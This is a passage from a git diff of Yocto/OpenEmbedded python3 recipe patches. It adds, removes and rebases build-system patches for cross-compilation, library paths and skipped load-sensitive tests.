-+ if 'STAGING_LIBDIR' in os.environ:
-+ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
- _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
- build_time_vars = _temp.build_time_vars
- vars.update(build_time_vars)
diff --git a/meta/recipes-devtools/python/python3/0001-gh-114492-Initialize-struct-termios-before-calling-t.patch b/meta/recipes-devtools/python/python3/0001-gh-114492-Initialize-struct-termios-before-calling-t.patch
new file mode 100644
index 0000000000..8406ef30a2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-gh-114492-Initialize-struct-termios-before-calling-t.patch
@@ -0,0 +1,26 @@
+From 439aa02f42d6e6715c172076261757fcb89a936a Mon Sep 17 00:00:00 2001
+From: "Miss Islington (bot)"
+ <31488909+miss-islington@users.noreply.github.com>
+Date: Tue, 23 Jan 2024 23:02:02 +0100
+Subject: [PATCH] gh-114492: Initialize struct termios before calling
+ tcgetattr() (GH-114495) (GH-114502)
+
+On Alpine Linux it could leave some field non-initialized.
+(cherry picked from commit d22c066b802592932f9eb18434782299e80ca42e)
+
+Upstream-Status: Backport [https://github.com/python/cpython/commit/386c72d9928c51aa2c855ce592bd8022da3b407f]
+Co-authored-by: Serhiy Storchaka <storchaka@gmail.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ .../next/Library/2024-01-23-21-20-40.gh-issue-114492.vKxl5o.rst | 2 ++
+ 1 file changed, 2 insertions(+)
+ create mode 100644 Misc/NEWS.d/next/Library/2024-01-23-21-20-40.gh-issue-114492.vKxl5o.rst
+
+diff --git a/Misc/NEWS.d/next/Library/2024-01-23-21-20-40.gh-issue-114492.vKxl5o.rst b/Misc/NEWS.d/next/Library/2024-01-23-21-20-40.gh-issue-114492.vKxl5o.rst
+new file mode 100644
+index 0000000..8df8299
+--- /dev/null
++++ b/Misc/NEWS.d/next/Library/2024-01-23-21-20-40.gh-issue-114492.vKxl5o.rst
+@@ -0,0 +1,2 @@
++Make the result of :func:`termios.tcgetattr` reproducible on Alpine Linux.
++Previously it could leave a random garbage in some fields.
diff --git a/meta/recipes-devtools/python/python3/0001-python3-Do-not-hardcode-lib-for-distutils.patch b/meta/recipes-devtools/python/python3/0001-python3-Do-not-hardcode-lib-for-distutils.patch
deleted file mode 100644
index fe031b9983..0000000000
--- a/meta/recipes-devtools/python/python3/0001-python3-Do-not-hardcode-lib-for-distutils.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From bb711b53f10d32a90a27ccf4b0dc51e4a701d862 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Fri, 7 Feb 2020 09:42:09 +0800
-Subject: [PATCH] python3: Do not hardcode "lib" for distutils
-
-Get the sys.lib from python3 itself and do not use
-hardcoded value of 'lib' for distutils.
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Lib/distutils/command/install.py | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/Lib/distutils/command/install.py b/Lib/distutils/command/install.py
-index c625c95..8e32f54 100644
---- a/Lib/distutils/command/install.py
-+++ b/Lib/distutils/command/install.py
-@@ -19,6 +19,8 @@ from site import USER_BASE
- from site import USER_SITE
- HAS_USER_SITE = True
-
-+libname = sys.lib
-+
- WINDOWS_SCHEME = {
- 'purelib': '$base/Lib/site-packages',
- 'platlib': '$base/Lib/site-packages',
-@@ -29,8 +31,8 @@ WINDOWS_SCHEME = {
-
- INSTALL_SCHEMES = {
- 'unix_prefix': {
-- 'purelib': '$base/lib/python$py_version_short/site-packages',
-- 'platlib': '$platbase/lib/python$py_version_short/site-packages',
-+ 'purelib': '$base/' + libname + '/python$py_version_short/site-packages',
-+ 'platlib': '$platbase/' + libname + '/python$py_version_short/site-packages',
- 'headers': '$base/include/python$py_version_short$abiflags/$dist_name',
- 'scripts': '$base/bin',
- 'data' : '$base',
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
index fb10ca94b3..bbeabe4389 100644
--- a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
+++ b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
@@ -1,4 +1,4 @@
-From 994783da5c21cab81b6589ed2d4275e665a946f9 Mon Sep 17 00:00:00 2001
+From ababc7b1db8c406910766e11cdd04cbef7a706c9 Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Mon, 22 Oct 2018 15:19:51 +0800
Subject: [PATCH] python3: use cc_basename to replace CC for checking compiler
@@ -14,40 +14,39 @@ x86_64-wrs-linux-gcc: error: unrecognized command line option '-fp-model'
Here use cc_basename to replace CC for checking compiler to avoid such
kind of issue.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/python/cpython/pull/96399]
Signed-off-by: Li Zhou <li.zhou@windriver.com>
patch originally from Li Zhou, I just rework it to new version
Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
---
configure.ac | 19 ++++++++++---------
1 file changed, 10 insertions(+), 9 deletions(-)
diff --git a/configure.ac b/configure.ac
-index a189d42..0f85486 100644
+index 384718d..5a1d58b 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -54,6 +54,7 @@ AC_CONFIG_HEADER(pyconfig.h)
+@@ -137,6 +137,7 @@ AC_CONFIG_HEADERS([pyconfig.h])
AC_CANONICAL_HOST
- AC_SUBST(build)
- AC_SUBST(host)
+ AC_SUBST([build])
+ AC_SUBST([host])
+LT_INIT
- # pybuilddir.txt will be created by --generate-posix-vars in the Makefile
- rm -f pybuilddir.txt
-@@ -671,7 +672,7 @@ AC_MSG_RESULT($with_cxx_main)
+ AS_VAR_IF([cross_compiling], [maybe],
+ [AC_MSG_ERROR([Cross compiling required --host=HOST-TUPLE and --build=ARCH])]
+@@ -896,7 +897,7 @@ AC_SUBST([CXX])
preset_cxx="$CXX"
if test -z "$CXX"
then
- case "$CC" in
+ case "$cc_basename" in
- gcc) AC_PATH_TOOL(CXX, [g++], [g++], [notfound]) ;;
- cc) AC_PATH_TOOL(CXX, [c++], [c++], [notfound]) ;;
- clang|*/clang) AC_PATH_TOOL(CXX, [clang++], [clang++], [notfound]) ;;
-@@ -957,7 +958,7 @@ rmdir CaseSensitiveTestDir
+ gcc) AC_PATH_TOOL([CXX], [g++], [g++], [notfound]) ;;
+ cc) AC_PATH_TOOL([CXX], [c++], [c++], [notfound]) ;;
+ clang|*/clang) AC_PATH_TOOL([CXX], [clang++], [clang++], [notfound]) ;;
+@@ -1328,7 +1329,7 @@ rmdir CaseSensitiveTestDir
case $ac_sys_system in
hp*|HP*)
@@ -56,16 +55,16 @@ index a189d42..0f85486 100644
cc|*/cc) CC="$CC -Ae";;
esac;;
esac
-@@ -1335,7 +1336,7 @@ else
- fi],
- [AC_MSG_RESULT(no)])
+@@ -1854,7 +1855,7 @@ esac
+ ],
+ [AC_MSG_RESULT([no])])
if test "$Py_LTO" = 'true' ; then
- case $CC in
+ case $cc_basename in
*clang*)
- AC_SUBST(LLVM_AR)
- AC_PATH_TOOL(LLVM_AR, llvm-ar, '', ${llvm_path})
-@@ -1425,7 +1426,7 @@ then
+ LDFLAGS_NOLTO="-fno-lto"
+ dnl Clang linker requires -flto in order to link objects with LTO information.
+@@ -1983,7 +1984,7 @@ then
fi
fi
LLVM_PROF_ERR=no
@@ -74,7 +73,7 @@ index a189d42..0f85486 100644
*clang*)
# Any changes made here should be reflected in the GCC+Darwin case below
PGO_PROF_GEN_FLAG="-fprofile-instr-generate"
-@@ -1486,7 +1487,7 @@ esac
+@@ -2147,7 +2148,7 @@ AC_MSG_RESULT([$BOLT_APPLY_FLAGS])
# compiler and platform. BASECFLAGS tweaks need to be made even if the
# user set OPT.
@@ -83,25 +82,25 @@ index a189d42..0f85486 100644
*clang*)
cc_is_clang=1
;;
-@@ -1622,7 +1623,7 @@ yes)
+@@ -2419,7 +2420,7 @@ yes)
# ICC doesn't recognize the option, but only emits a warning
## XXX does it emit an unused result warning and can it be disabled?
-- case "$CC" in
-+ case "$cc_basename" in
- *icc*)
- ac_cv_disable_unused_result_warning=no
+- AS_CASE([$CC],
++ AS_CASE([$cc_basename],
+ [*icc*], [ac_cv_disable_unused_result_warning=no]
+ [PY_CHECK_CC_WARNING([disable], [unused-result])])
+ AS_VAR_IF([ac_cv_disable_unused_result_warning], [yes],
+@@ -2665,7 +2666,7 @@ yes)
;;
-@@ -1943,7 +1944,7 @@ yes)
esac
- # ICC needs -fp-model strict or floats behave badly
-case "$CC" in
+case "$cc_basename" in
- *icc*)
- CFLAGS_NODIST="$CFLAGS_NODIST -fp-model strict"
+ *mpicc*)
+ CFLAGS_NODIST="$CFLAGS_NODIST"
;;
-@@ -2711,7 +2712,7 @@ then
+@@ -3482,7 +3483,7 @@ then
then
LINKFORSHARED="-Wl,--export-dynamic"
fi;;
@@ -110,12 +109,12 @@ index a189d42..0f85486 100644
*gcc*)
if $CC -Xlinker --help 2>&1 | grep export-dynamic >/dev/null
then
-@@ -5362,7 +5363,7 @@ if test "$have_gcc_asm_for_x87" = yes; then
+@@ -6803,7 +6804,7 @@ if test "$ac_cv_gcc_asm_for_x87" = yes; then
# Some versions of gcc miscompile inline asm:
# http://gcc.gnu.org/bugzilla/show_bug.cgi?id=46491
# http://gcc.gnu.org/ml/gcc/2010-11/msg00366.html
- case $CC in
+ case $cc_basename in
*gcc*)
- AC_MSG_CHECKING(for gcc ipa-pure-const bug)
+ AC_MSG_CHECKING([for gcc ipa-pure-const bug])
saved_cflags="$CFLAGS"
diff --git a/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch b/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
deleted file mode 100644
index d38ed61dd7..0000000000
--- a/meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From 7019ba184b828ed7253750cf409fc5760ef90a54 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 9 Jan 2020 17:44:05 +0100
-Subject: [PATCH] setup.py: pass missing libraries to Extension for
- multiprocessing module
-
-In the following commit:
-...
-commit e711cafab13efc9c1fe6c5cd75826401445eb585
-Author: Benjamin Peterson <benjamin@python.org>
-Date: Wed Jun 11 16:44:04 2008 +0000
-
- Merged revisions 64104,64117 via svnmerge from
- svn+ssh://pythondev@svn.python.org/python/trunk
-...
-(see diff in setup.py)
-It assigned libraries for multiprocessing module according
-the host_platform, but not pass it to Extension.
-
-In glibc, the following commit caused two definition of
-sem_getvalue are different.
-https://sourceware.org/git/?p=glibc.git;a=commit;h=042e1521c794a945edc43b5bfa7e69ad70420524
-(see diff in nptl/sem_getvalue.c for detail)
-`__new_sem_getvalue' is the latest sem_getvalue@@GLIBC_2.1
-and `__old_sem_getvalue' is to compat the old version
-sem_getvalue@GLIBC_2.0.
-
-To build python for embedded Linux systems:
-http://www.yoctoproject.org/docs/2.3.1/yocto-project-qs/yocto-project-qs.html
-If not explicitly link to library pthread (-lpthread), it will
-load glibc's sem_getvalue randomly at runtime.
-
-Such as build python on linux x86_64 host and run the python
-on linux x86_32 target. If not link library pthread, it caused
-multiprocessing bounded semaphore could not work correctly.
-...
->>> import multiprocessing
->>> pool_sema = multiprocessing.BoundedSemaphore(value=1)
->>> pool_sema.acquire()
-True
->>> pool_sema.release()
-Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
-ValueError: semaphore or lock released too many times
-...
-
-And the semaphore issue also caused multiprocessing.Queue().put() hung.
-
-Upstream-Status: Pensing
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- setup.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/setup.py b/setup.py
-index ec3f2a4..b0f1541 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1671,7 +1671,7 @@ class PyBuildExt(build_ext):
- libraries=libs,
- include_dirs=["Modules/_multiprocessing"]))
-
-- self.add(Extension('_multiprocessing', multiprocessing_srcs,
-+ self.add(Extension('_multiprocessing', multiprocessing_srcs, libraries=['pthread'],
- include_dirs=["Modules/_multiprocessing"]))
-
- def detect_uuid(self):
diff --git a/meta/recipes-devtools/python/python3/0001-skip-no_stdout_fileno-test-due-to-load-variability.patch b/meta/recipes-devtools/python/python3/0001-skip-no_stdout_fileno-test-due-to-load-variability.patch
new file mode 100644
index 0000000000..2d7bca6a77
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-skip-no_stdout_fileno-test-due-to-load-variability.patch
@@ -0,0 +1,29 @@
+From 217cea231462e7703e8c9ea39c0a6833f799a420 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 15 Sep 2023 08:48:33 -0400
+Subject: [PATCH] skip no_stdout_fileno test due to load variability
+
+Skip test_input_no_stdout_fileno so that it doesn't fail on systems
+under heavy load.
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+[YOCTO #15210]
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ Lib/test/test_builtin.py | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Lib/test/test_builtin.py b/Lib/test/test_builtin.py
+index 4d03c46..b329b7a 100644
+--- a/Lib/test/test_builtin.py
++++ b/Lib/test/test_builtin.py
+@@ -2326,6 +2326,7 @@ class PtyTests(unittest.TestCase):
+ # Check stdin/stdout error handler is used when invoking PyOS_Readline()
+ self.check_input_tty("prompté", b"quux\xe9", "ascii")
+
++ @unittest.skip("Test may fail under heavy load")
+ def test_input_no_stdout_fileno(self):
+ # Issue #24402: If stdin is the original terminal but stdout.fileno()
+ # fails, do not use the original stdout file descriptor
diff --git a/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
new file mode 100644
index 0000000000..fc52fdac26
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
@@ -0,0 +1,28 @@
+From a5d429a0e1a4809c1ded7be7e45dcabeb82c53d8 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 12 Sep 2021 21:44:36 +0200
+Subject: [PATCH] sysconfig.py: use platlibdir also for purelib
+
+This is needed in multilib configurations where hardcoding 'lib'
+is not correct.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index 122d441..79c0510 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -28,7 +28,7 @@ _INSTALL_SCHEMES = {
+ 'posix_prefix': {
+ 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',
+ 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',
+- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
++ 'purelib': '{base}/{platlibdir}/python{py_version_short}/site-packages',
+ 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',
+ 'include':
+ '{installed_base}/include/python{py_version_short}{abiflags}',
diff --git a/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
new file mode 100644
index 0000000000..b4fe946cba
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
@@ -0,0 +1,34 @@
+From b64c131a576a4b4f821514e711ab91b1394fb4ff Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Fri, 18 Jun 2021 11:56:50 -0700
+Subject: [PATCH] test_ctypes.test_find: skip without tools-sdk
+
+These tests need full packagegroup-core-buildessential, the
+easiest way to dynamically check for that is looking for
+'tools-sdk' in IMAGE_FEATURES.
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Tim Orling <timothy.t.orling@intel.com>
+
+---
+ Lib/test/test_ctypes/test_find.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/Lib/test/test_ctypes/test_find.py b/Lib/test/test_ctypes/test_find.py
+index 1ff9d01..59def26 100644
+--- a/Lib/test/test_ctypes/test_find.py
++++ b/Lib/test/test_ctypes/test_find.py
+@@ -113,10 +113,12 @@ class FindLibraryLinux(unittest.TestCase):
+ # LD_LIBRARY_PATH)
+ self.assertEqual(find_library(libname), 'lib%s.so' % libname)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_gcc(self):
+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None):
+ self.assertNotEqual(find_library('c'), None)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_ld(self):
+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None), \
+ unittest.mock.patch("ctypes.util._findLib_gcc", lambda *args: None):
diff --git a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
index 35b7e0c480..410a9fc7f1 100644
--- a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
+++ b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
@@ -1,4 +1,4 @@
-From b94995e0c694ec9561efec0d1a59b323340e6105 Mon Sep 17 00:00:00 2001
+From ef5728f0af14da5c9f80b0f038fe5bf6d44cb0e9 Mon Sep 17 00:00:00 2001
From: Mingli Yu <mingli.yu@windriver.com>
Date: Mon, 5 Aug 2019 15:57:39 +0800
Subject: [PATCH] test_locale.py: correct the test output format
@@ -23,24 +23,24 @@ Before this patch:
Upstream-Status: Submitted [https://github.com/python/cpython/pull/15132]
+Rebased for 3.9.4, still not accepted upstream Signed-off-by: Alejandro Hernandez <alejandro@enedino.org>
+
Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
---
Lib/test/test_locale.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Lib/test/test_locale.py b/Lib/test/test_locale.py
-index e2c2178..558d63c 100644
+index b0d7998..cb12153 100644
--- a/Lib/test/test_locale.py
+++ b/Lib/test/test_locale.py
-@@ -527,7 +527,7 @@ class TestMiscellaneous(unittest.TestCase):
+@@ -557,7 +557,7 @@ class TestMiscellaneous(unittest.TestCase):
self.skipTest('test needs Turkish locale')
loc = locale.getlocale(locale.LC_CTYPE)
if verbose:
- print('testing with %a' % (loc,), end=' ', flush=True)
+ print('testing with %a...' % (loc,), end=' ', flush=True)
- locale.setlocale(locale.LC_CTYPE, loc)
- self.assertEqual(loc, locale.getlocale(locale.LC_CTYPE))
-
---
-2.7.4
-
+ try:
+ locale.setlocale(locale.LC_CTYPE, loc)
+ except locale.Error as exc:
diff --git a/meta/recipes-devtools/python/python3/0001-test_storlines-skip-due-to-load-variability.patch b/meta/recipes-devtools/python/python3/0001-test_storlines-skip-due-to-load-variability.patch
new file mode 100644
index 0000000000..0d0eb08459
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-test_storlines-skip-due-to-load-variability.patch
@@ -0,0 +1,30 @@
+From dc69a1afdb3ba619705ff71e14f19ed3142e422f Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 6 Oct 2023 10:59:44 -0400
+Subject: [PATCH] test_storlines: skip due to load variability
+
+This is yet another test that intermittently fails on the Yocto AB when
+a worker is under heavy load, so skip it during testing.
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+[YOCTO #14933]
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+
+---
+ Lib/test/test_ftplib.py | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Lib/test/test_ftplib.py b/Lib/test/test_ftplib.py
+index 2f191ea..dc29346 100644
+--- a/Lib/test/test_ftplib.py
++++ b/Lib/test/test_ftplib.py
+@@ -626,6 +626,7 @@ class TestFTPClass(TestCase):
+ self.client.storbinary('stor', f, rest=r)
+ self.assertEqual(self.server.handler_instance.rest, str(r))
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_storlines(self):
+ data = RETR_DATA.replace('\r\n', '\n').encode(self.client.encoding)
+ f = io.BytesIO(data)
diff --git a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch b/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
deleted file mode 100644
index 4bd98f62fd..0000000000
--- a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From a2dd127b4163aff6cc35af0d0251321964232ad4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 7 Oct 2019 13:22:14 +0200
-Subject: [PATCH] setup.py: do not report missing dependencies for disabled
- modules
-
-Reporting those missing dependencies is misleading as the modules would not
-have been built anyway. This particularly matters in oe-core's automated
-build completeness checker which relies on the report.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- setup.py | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/setup.py b/setup.py
-index 7691258..ec3f2a4 100644
---- a/setup.py
-+++ b/setup.py
-@@ -408,6 +408,10 @@ class PyBuildExt(build_ext):
- print("%-*s %-*s %-*s" % (longest, e, longest, f,
- longest, g))
-
-+ # There is no need to report missing module dependencies,
-+ # if the modules have been disabled in the first place.
-+ self.missing = list(set(self.missing) - set(sysconf_dis))
-+
- if self.missing:
- print()
- print("Python build finished successfully!")
diff --git a/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
index e04a91605c..0661249bfd 100644
--- a/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
+++ b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
@@ -1,8 +1,7 @@
-From 863c09f640a5dfd33ff22915b0d5fee7bc5df70a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sun, 16 Feb 2020 17:50:25 +0100
-Subject: [PATCH] configure.ac, setup.py: do not add a curses include path from
- the host
+From d0205c60d08f51d84bd8ddc07a57e8c71710fdad Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 17 Nov 2023 14:16:40 +0100
+Subject: [PATCH] configure.ac: do not add a curses include path from the host
This leads to host contamination, and particularly can cause
curses modules to fail at runtime if the host curses is configured
@@ -13,16 +12,15 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
configure.ac | 6 ------
- setup.py | 2 --
- 2 files changed, 8 deletions(-)
+ 1 file changed, 6 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 915f475..c911011 100644
+index c49cd4f..affdedf 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -4828,12 +4828,6 @@ then
- [Define if you have struct stat.st_mtimensec])
- fi
+@@ -6508,12 +6508,6 @@ AS_VAR_IF([have_panel], [no], [
+ AC_MSG_RESULT([$have_panel (CFLAGS: $PANEL_CFLAGS, LIBS: $PANEL_LIBS)])
+ ])
-# first curses header check
-ac_save_cppflags="$CPPFLAGS"
@@ -30,19 +28,6 @@ index 915f475..c911011 100644
- CPPFLAGS="$CPPFLAGS -I/usr/include/ncursesw"
-fi
-
- AC_CHECK_HEADERS(curses.h ncurses.h)
-
# On Solaris, term.h requires curses.h
-diff --git a/setup.py b/setup.py
-index b0f1541..7208cd0 100644
---- a/setup.py
-+++ b/setup.py
-@@ -973,8 +973,6 @@ class PyBuildExt(build_ext):
- panel_library = 'panel'
- if curses_library == 'ncursesw':
- curses_defines.append(('HAVE_NCURSESW', '1'))
-- if not CROSS_COMPILING:
-- curses_includes.append('/usr/include/ncursesw')
- # Bug 1464056: If _curses.so links with ncursesw,
- # _curses_panel.so must link with panelw.
- panel_library = 'panelw'
+ AC_CHECK_HEADERS([term.h], [], [], [
+ #ifdef HAVE_CURSES_H
diff --git a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch b/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
deleted file mode 100644
index 820fb98ed8..0000000000
--- a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 064187668fcbefdd39a8cde372bf651124c3e578 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 14 May 2013 15:00:26 -0700
-Subject: [PATCH] python3: Add target and native recipes
-
-Upstream-Status: Inappropriate [embedded specific]
-
-02/2015 Rebased for Python 3.4.2
-
-# The proper prefix is inside our staging area.
-# Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
-# Signed-off-by: Phil Blundell <philb@gnu.org>
-# Signed-off-by: Khem Raj <raj.khem@gmail.com>
-# Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
-
----
- Lib/distutils/sysconfig.py | 14 +++++++++++---
- 1 file changed, 11 insertions(+), 3 deletions(-)
-
-diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index 2df348c..4f8db84 100644
---- a/Lib/distutils/sysconfig.py
-+++ b/Lib/distutils/sysconfig.py
-@@ -96,7 +96,9 @@ def get_python_inc(plat_specific=0, prefix=None):
- If 'prefix' is supplied, use it instead of sys.base_prefix or
- sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
- """
-- if prefix is None:
-+ if prefix is None and os.environ.get('STAGING_INCDIR', ""):
-+ prefix = os.environ['STAGING_INCDIR'].rstrip('include')
-+ elif prefix is None:
- prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
- if os.name == "posix":
- if python_build:
-@@ -139,7 +141,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
- If 'prefix' is supplied, use it instead of sys.base_prefix or
- sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
- """
-- if prefix is None:
-+ if os.environ.get('STAGING_LIBDIR', ""):
-+ lib_basename = os.environ['STAGING_LIBDIR'].split('/')[-1]
-+ else:
-+ lib_basename = "lib"
-+ if prefix is None and os.environ.get('STAGING_LIBDIR', ""):
-+ prefix = os.environ['STAGING_LIBDIR'].rstrip(lib_basename)
-+ elif prefix is None:
- if standard_lib:
- prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
- else:
-@@ -147,7 +155,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
-
- if os.name == "posix":
- libpython = os.path.join(prefix,
-- "lib", "python" + get_python_version())
-+ lib_basename, "python" + get_python_version())
- if standard_lib:
- return libpython
- else:
diff --git a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch b/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
deleted file mode 100644
index 184540e794..0000000000
--- a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From ba7202700578d435b07cfdfb7b57e83185752800 Mon Sep 17 00:00:00 2001
-From: Andrei Gherzan <andrei@gherzan.ro>
-Date: Mon, 28 Jan 2019 15:57:54 +0000
-Subject: [PATCH] _tkinter module needs tk module along with tcl. tk is not yet
- integrated in yocto so we skip the check for this module. Avoid a warning by
- not adding this module to missing variable.
-
-Upstream-Status: Inappropriate [distribution]
-
-Also simply disable the tk module since its not in DEPENDS.
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
----
- setup.py | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index ab18ff0..7691258 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1706,8 +1706,8 @@ class PyBuildExt(build_ext):
- self.detect_decimal()
- self.detect_ctypes()
- self.detect_multiprocessing()
-- if not self.detect_tkinter():
-- self.missing.append('_tkinter')
-+# if not self.detect_tkinter():
-+# self.missing.append('_tkinter')
- self.detect_uuid()
-
- ## # Uncomment these lines if you want to play with xxmodule.c
diff --git a/meta/recipes-devtools/python/python3/cgi_py.patch b/meta/recipes-devtools/python/python3/cgi_py.patch
index 6c4ba54320..8262c88e73 100644
--- a/meta/recipes-devtools/python/python3/cgi_py.patch
+++ b/meta/recipes-devtools/python/python3/cgi_py.patch
@@ -1,4 +1,4 @@
-From 62336285cba38017b35cb761c03f0c7e80a671a3 Mon Sep 17 00:00:00 2001
+From a56778372fe8dc7c42f5ffd911d89498c22dd064 Mon Sep 17 00:00:00 2001
From: Mark Hatle <mark.hatle@windriver.com>
